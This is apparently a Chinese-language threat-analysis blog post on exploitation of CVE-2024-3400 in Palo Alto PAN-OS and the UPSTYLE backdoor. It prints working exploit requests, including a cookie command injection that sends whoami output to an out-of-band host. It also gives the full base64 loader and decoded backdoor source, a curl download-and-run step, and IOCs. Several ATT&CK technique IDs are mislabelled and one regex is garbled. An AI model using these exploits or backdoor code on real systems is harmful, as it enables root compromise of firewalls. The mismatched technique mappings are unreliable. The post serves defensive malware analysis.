一、前言
此文章是关于Palo Alto Networks(CVE-2024-3400 )命令注入漏洞攻击后利用UPSTYLE后门分析,由第三方公开漏洞的概念POC后,APT组织以及某些工具团体迅速利用起来攻击各国有关公网暴露面的 Palo Alto Networks设备,直到5月30日对存在CVE-2024-3400漏洞的Palo Alto Networks增加了出厂重置 (EFR) 程序,可抵御任何潜在的后漏洞持久性技术。
二、利用
该漏洞最早期在CVE官方记录时间是2024年4月5日,随后在4月12日被其它漏洞库记录CVE-2024-3400 是 Palo Alto Networks PAN-OS 软件中 GlobalProtect 功能中的一个命令注入漏洞,允许未经身份验证的攻击者以 root 权限在防火墙上执行任意代码。该漏洞的 CVSS 评分为 10 (严重),并且已在野外被积极利用。
该漏洞是由于允许通过路径遍历字符串任意写入文件以及在会话 ID 句柄中设置命令注入造成的,攻击者可以通过编辑其请求的 Cookie 参数来更改会话 SESSID的内容来实现漏洞利用。
1、文件创建:
POST /ssl-XXX/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/XXXweb/sslXXXdocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
成功添加一个hellome1337.txt文本文件,还要可以通过Cookie来进行命令注入。
2、命令注入
上面可以在拥有足够权限下任意创建文件,通过修改Cookie服务路径将抓取的cron定时运行,来实现注入,可能在某些版本可能不同。
POST /ssl-XXX/hipreport.esp HTTP/1.1 Host: 127.0.01 Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
python3 -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... 192.168.50.226 - - [23/Jun/2024 17:36:17] "GET /?user=root HTTP/1.1" 200 -
这将在“device_telemetry/hour”目录中创建一个空文件,该文件每小时处理一次。日志服务将每小时对目录中的所有请求执行操作,并且由于未能清理文件名,将在文件名中执行命令,在上面的示例中,该命令正在向攻击者域发出请求。
三、UPSTYLE 后门威胁分析
UPSTYLE 样本一:
MD5 0c1554888ce9ed0da1583dbdf7b31651
SHA-1 988fc0d23e6e30c2c46ccec9bbff50b7453b8ba9
SHA-256 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
首次在野外发现 2024-04-12 12:57:08 UTC
首次提交 2024-04-12 21:26:18 UTC
——————————————————————
引擎:37/ 65
下载样本后发现py文件的systempth = "/usr/lib/python3.6/site-packages/system.pth",而且定义了一个变量systempth
,保存了system.pth
文件的路径。下图我们还可以看到一段 Base64 编码,编码代码注入到 Python 环境的system.pth
文件中,并在执行后删除当前自身脚本。
import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with open(systempth,'wb') as f: f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6CiAgICBpbXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRfcHJvY2VzcygpOgogICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNvZGUgPSBiIlpHVm1JRjlmYldGcGJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnMEtEUW9OQ2lBZ0lDQmtaV1lnY21WemRHOXlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFsS1RvTkNpQWdJQ0FnSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpTNXpiR1ZsY0NneE5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaam9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUNBZ2IzTXVkWFJwYldVb1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQWdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHbHRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXNTFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nSUNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5aGNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJHOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM056SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dWdUtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrTkNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhScGJXVW9ZM056WDNCaGRHZ3BEUW9OQ2lBZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWdJQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4YktGdGhMWHBCTFZvd0xUa3JMejFkS3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQWdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlJR3hwYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWIzSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVsY3lncE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSVVJWSk9MR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JqYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtISnpkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnpJR1k2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLMjkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05sY0hRZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJIWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRkR2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ0J2Y0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJjaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDBaV3hwYm1WektHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHbHRaU3h0ZEdsdFpTa3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZoWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2RHRnlaMlYwUFhKbGMzUnZjbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2twTG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdzBLSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbHVaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRwTG5OMFlYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkgICAgICAgIAoKICAgIGlmIGIiL3Vzci9sb2NhbC9iaW4vbW9uaXRvciBtcCIgaW4gb3BlbigiL3Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHN0YXJ0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZXlib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICByZXR1cm4gVHJ1ZQogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9ydCBvcyxzaWduYWwKICAgIHN5c3RlbXB0aCA9ICIvdXNyL2xpYi9weXRob24zLjYvc2l0ZS1wYWNrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAgICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVmIHN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVuKHN5c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaGVjaygpCg=="))''') atime=os.path.getatime(os.__file__) mtime=os.path.getmtime(os.__file__) os.utime(systempth,(atime,mtime)) os.unlink(__file__) import glob os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])
回到正文,我对编码的内容进行解码:
代码功能分析:
check()
函数:该函数首先检查进程命令行中是否包含
/usr/local/bin/monitor mp
,这可能是一个识别目标系统的特定条件,如果满足,则执行后门代码。如果命令行中包含该字符串,则调用
start_process()
函数。否则,返回
False
,表示目标系统不符合要求。
start_process()
函数:该函数使用
base64.b64decode()
解码一个 Base64 编码的代码片段。这个代码片段包含了恶意代码的实际内容。然后使用
exec()
函数执行解码后的代码片段,意味着Base64 编码的内容在解码后的代码片段将被执行。
然后在对编码内容进行解码,这个路径/var/www/sslXXX有敏感字,可以看图片XXX的替代:
def __main__(): import threading,time,os,re,base64 def restore(css_path,content,atime,mtime): import os,time time.sleep(15) with open(css_path,'w') as f: f.write(content) os.utime(css_path,(atime,mtime)) def _is_whole_hour(): from datetime import datetime current_time = datetime.now().time() return current_time.minute == 0 and current_time.second == 0 css_path = '/var/www/sslXXX/global-protect/portal/css/bootstrap.min.css' content = open(css_path).read() atime=os.path.getatime(css_path) mtime=os.path.getmtime(css_path) while True: try: SHELL_PATTERN = r'img[([a-z]-z][-z]-9+/=])]' lines = [] WRITE_FLAG = False for line in open("/var/log/pan/sslXXX_ngx_error.log",errors="ignore").readlines(): rst = re.search(SHELL_PATTERN,line) if rst: WRITE_FLAG = True cmd = base64.b64decode(rst.group(1)).decode() try: output = os.popen(cmd).read() with open(css_path,"a") as f: f.write("/*"+output+"*/") except Exception as e: pass continue lines.append(line) if WRITE_FLAG: atime = os.path.getatime("/var/log/pan/sslXXX_ngx_error.log") mtime = os.path.getmtime("/var/log/pan/sslXXX_ngx_error.log") with open("/var/log/pan/sslXXX_ngx_error.log","w") as f: f.writelines(lines) os.utime("/var/log/pan/sslXXX_ngx_error.log",(atime,mtime)) import threading threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start() except: pass time.sleep(2) import threading,time threading.Thread(target=__main__).start()
代码功能分析:
后门代码:后门代码的功能是读取防火墙的日志文件
[snip]/sslXXX_ngx_error.log
,并寻找包含命令的日志行。命令以img[Base64_encoded_command]
的格式嵌入在日志文件中。执行命令:恶意软件会对命令进行 Base64 解码,并使用
os.popen
方法执行该命令。命令执行结果会被写入 CSS 文件[snip]/css/bootstrap.min.css
。痕迹清除:恶意软件会创建一个线程,在 15 秒后将
/css/bootstrap.min.css
文件恢复到原始状态,并设置其访问时间和修改时间为原始值。
样本一分析总结:
样本一的后门在MITRE ATT&CK 框架中的技术为以下,主要攻击步骤:
文件植入 (T1089):代码将一个 Base64 编码的恶意脚本写入到系统路径
/usr/lib/python3.6/site-packages/system.pth
中。system.pth
文件是 Python 解释器在导入模块时会搜索的路径文件,将恶意脚本写入其中可以保证脚本在 Python 程序启动时被自动加载执行。持久化 (T1011):代码通过修改
system.pth
文件的访问时间和修改时间,使其看起来像系统文件,以掩盖恶意脚本的存在。进程注入 (T1055):代码通过检查当前进程的命令行参数,判断是否以
monitor mp
作为参数启动。如果是,则执行恶意脚本,实现进程注入。命令和脚本解释器 (T1059):代码利用 Python 的
exec
函数执行 Base64 解码后的恶意脚本。隐藏技术 (T1070):代码通过删除自身文件
__file__
和一个位于/opt/pancfg/mgmt/licenses/PA_VM
的文件,以减少自身存在痕迹。数据编码 (T1071.001):代码使用 Base64 对恶意脚本进行编码,以逃避简单的静态分析。
隐藏文件和目录 (T1027):代码通过将恶意脚本写入
system.pth
文件,并修改其访问时间和修改时间,以隐藏其存在。权限提升 (T1068):代码中的
monitor mp
参数可能与系统进程相关,如果用户以管理员权限运行该脚本,则恶意脚本也可能获得管理员权限。后门安装 (T1547.001):代码通过将恶意脚本写入
system.pth
文件,并在特定条件下执行,实现了在系统中植入后门。
UPSTYLE后门整体执行流程:
解码后的恶意脚本是一个 Python 脚本,它监控日志文件/var/log/pan/sslxxx_ngx_error.log
,并从其中提取 Base64 编码的命令。执行这些命令后,脚本将结果写入 CSS 文件/var/www/sslxxx/global-protect/portal/css/bootstrap.min.css
中,并恢复日志文件到最初的状态。
攻击目标:
获取系统权限:通过执行恶意命令,攻击者可以获取系统权限,从而进行进一步的攻击。
窃取数据:攻击者可以利用恶意命令窃取系统中的敏感数据,例如用户密码、配置文件等。
控制系统:攻击者可以利用恶意命令控制系统,例如安装其他恶意软件、修改系统配置等。
UPSTYLE 样本二:
MD5 8e5bc98507aa6df20edecd43961f50e5
SHA-1 3f7647e492399e7d71703217cc353ec496c0ed64
SHA-256 668378a66cde261c3d30c417439d3de09d52fd1d4b59c0477f73f3a452530c8c
首次提交 2024-04-23 13:12:39 UTC
——————————————————————
引擎:20/65
这个流程和样本一是一致的,样本一做了base64编码引擎报37/ 65这个报20/65,这种攻击者用的多,或者被人往virustotal丢多了,引擎差就大了!
类似样本分析
这个我是在推上看见的,根据代码特征上面并不是一样的,似乎这个py样本并没有被公开,而且这个看起来有较强的逃避检测性,下图是使用Github托管公共CVE-2024-3400.py,通过下图的Py代码涉及到反弹Shell操作,而这份公共POC的相关IOC并没有被公开,有人直接对其项目托管路径进行打码!首先有关的POC文件是通过一定检测方式是否存在漏洞,存在漏洞然后执行安装UPSTYLE 后门。
在底部的main函数,这条命令使用了 curl 命令从 GitHub 上下载一个脚本 git.sh 到 /Public/git.sh 目录,并设置其为可执行。然后,在后台执行该脚本,并将输出重定向到空设备。
os.system(curl -sSL https://raw.githubusercontent.com/xxxxxxxxxxxxxxx/xxx.sh) -o -/Public/git.sh ..........
代码分析:
下载恶意程序:
WGET=$(which wget)
: 找到wget
命令的路径并保存到WGET
变量。URL="https://github.com/<username>/<repository>/main/log"
: 设置要下载的恶意程序的 URL。BACKDOOR=$RANDOM
: 生成一个随机数并保存到BACKDOOR
变量,用于创建随机文件名。BACKDOOR=".${BACKDOOR}"
: 在随机数前面添加一个点,使其成为隐藏文件。$WGET -q --no-check-certificate "${URL}" -O <下载路径>
: 使用wget
下载恶意程序,并将其保存到指定路径,同时禁用证书检查。
设置权限和持久化:
普通用户权限:
chmod +x <下载路径>
: 将下载的恶意程序设置为可执行。crontab -l > temp
: 将当前用户的crontab
任务列表保存到临时文件temp
。echo "@reboot sleep 30; <下载路径> 2>&1" >> temp_cron
: 将一条新的任务添加到temp_cron
文件中,该任务会在系统重启 30 秒后执行下载的恶意程序,并将程序的输出重定向到标准错误输出。crontab temp_cron
: 用修改后的temp_cron
文件覆盖当前用户的crontab
任务列表。rm temp cron
: 删除临时文件。
root 用户权限:
chmod u+s <下载路径>
: 将下载的恶意程序设置为 setuid 程序,使其在执行时拥有文件所有者的权限 (root)。其他步骤与普通用户权限类似,只是下载路径和持久化任务的设置位置不同。
上面的一个类似样本的利用代码使用 ATT&CK 框架以下技术:
初始访问 (Initial Access):
T1598.003 - Drive-by Compromise: 代码中的 URL 指向一个下载恶意程序的链接,暗示攻击者可能利用了网站漏洞或其他方式诱使用户访问该链接,从而实现恶意程序的初始下载和执行。
执行 (Execution):
T1059.003 - Unix Shell: 脚本使用 bash 脚本执行命令,包括下载、修改文件权限和设置持久化机制。
T1053.005 - Scheduled Task/Job: Cron: 攻击者利用
crontab
设置定时任务,实现在系统重启后自动执行恶意程序的目的。
持久化 (Persistence):
T1053 - Scheduled Task/Job: 通过
crontab
设置定时任务,使恶意程序在系统重启后自动运行,维持对系统的持久化访问。
权限提升 (Privilege Escalation):
T1068 - Abuse Elevation Control Mechanism: 脚本检查当前用户是否为 root,如果是则将恶意程序设置为 setuid 程序,利用操作系统的机制提升程序权限。
防御规避 (Defense Evasion):
T1562.001 - Impair Defenses: Disable or Modify System Firewall: 代码中没有明确体现对防火墙的禁用或修改操作,但攻击者在获得系统权限后很可能会进行此类操作,以避免被检测和阻止。
T1564.001 - Hide Artifacts: Hidden Files and Directories: 脚本将下载的恶意程序文件名添加
.
前缀,使其成为隐藏文件,试图躲避用户和安全软件的检测。
IOCS
URL:
http://172.233.228.93/policy
http://144.172.79.92/update.py
https://45.121.51.2/abc.txt
http://172.233.228.93/patch
Related domains:
nhdata.s3-us-west-2.amazonaws.com
edcjn.57fe6f5d9d.ipv6.1433.eu.org
srgsd1f.842b727ba4.ipv6.1433.eu.org
edcjn.57fe6f5d9d.ipv6.1433.eu.org
IP:
110.47.250.103
126.227.76.24
146.70.192.174
147.45.70.100
149.88.27.212
154.223.16.34
173.255.223.159
185.108.105.110